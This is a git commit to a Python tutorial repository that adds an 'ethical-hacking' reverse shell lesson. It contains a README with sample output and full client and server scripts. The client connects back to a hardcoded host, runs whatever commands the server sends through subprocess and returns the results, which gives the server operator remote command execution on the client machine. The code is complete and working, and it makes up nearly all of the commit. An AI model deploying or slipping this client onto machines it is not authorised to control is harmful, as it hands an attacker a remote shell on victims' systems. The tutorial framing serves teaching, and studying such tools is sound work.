add reverse shell tutorial

x4nth055 · x4nth055 · commit 47907e90da28 · 2019-09-24T14:44:59.000+02:00
diff --git a/README.md b/README.md
@@ -15,6 +15,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
         - [How to Sniff HTTP Packets in the Network using Scapy in Python](https://www.thepythoncode.com/article/sniff-http-packets-scapy-python). ([code](scapy/http-sniffer))
     - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))
     - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))
+    - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell))
 
 - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
     - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
diff --git a/ethical-hacking/reverse_shell/README.md b/ethical-hacking/reverse_shell/README.md
@@ -0,0 +1,33 @@
+# [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python)
+You don't need to install anything.
+- To run the server, simply write:
+    ```
+    python server.py
+    ```
+    **Output:**
+    ```
+    Listening as 0.0.0.0:5003 ...
+    ```
+- Running the client (target machine):
+    ```
+    python client.py
+    ```
+    **Output:**
+    ```
+    Server: Hello and Welcome
+    ```
+- The server will get notified once a client is connected, executing `dir` command on Windows remotely (in `server.py`):
+    ```
+    192.168.1.103:58428 Connected!
+    Enter the command you wanna execute:dir
+    Volume in drive E is DATA
+    Volume Serial Number is 644B-A12C
+
+    Directory of E:\test
+
+    09/24/2019  02:15 PM    <DIR>          .
+    09/24/2019  02:15 PM    <DIR>          ..
+                0 File(s)              0 bytes
+                2 Dir(s)  89,655,123,968 bytes free
+    Enter the command you wanna execute:exit
+    ```
diff --git a/ethical-hacking/reverse_shell/client.py b/ethical-hacking/reverse_shell/client.py
@@ -0,0 +1,28 @@
+import socket
+import subprocess
+
+SERVER_HOST = "192.168.1.103"
+SERVER_PORT = 5003
+BUFFER_SIZE = 1024
+
+# create the socket object
+s = socket.socket()
+# connect to the server
+s.connect((SERVER_HOST, SERVER_PORT))
+
+# receive the greeting message
+message = s.recv(BUFFER_SIZE).decode()
+print("Server:", message)
+
+while True:
+    # receive the command from the server
+    command = s.recv(BUFFER_SIZE).decode()
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop
+        break
+    # execute the command and retrieve the results
+    output = subprocess.getoutput(command)
+    # send the results back to the server
+    s.send(output.encode())
+# close client connection
+s.close()
diff --git a/ethical-hacking/reverse_shell/server.py b/ethical-hacking/reverse_shell/server.py
@@ -0,0 +1,42 @@
+import socket
+
+SERVER_HOST = "0.0.0.0"
+SERVER_PORT = 5003
+
+BUFFER_SIZE = 1024
+
+# create a socket object
+s = socket.socket()
+
+# bind the socket to all IP addresses of this host
+s.bind((SERVER_HOST, SERVER_PORT))
+# make the PORT reusable
+# when you run the server multiple times in Linux, Address already in use error will raise
+s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+s.listen(5)
+print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
+
+# accept any connections attempted
+client_socket, client_address = s.accept()
+print(f"{client_address[0]}:{client_address[1]} Connected!")
+
+# just sending a message, for demonstration purposes
+message = "Hello and Welcome".encode()
+client_socket.send(message)
+
+while True:
+    # get the command from prompt
+    command = input("Enter the command you wanna execute:")
+    # send the command to the client
+    client_socket.send(command.encode())
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop
+        break
+    # retrieve command results
+    results = client_socket.recv(BUFFER_SIZE).decode()
+    # print them
+    print(results)
+# close connection to the client
+client_socket.close()
+# close server connection
+s.close()
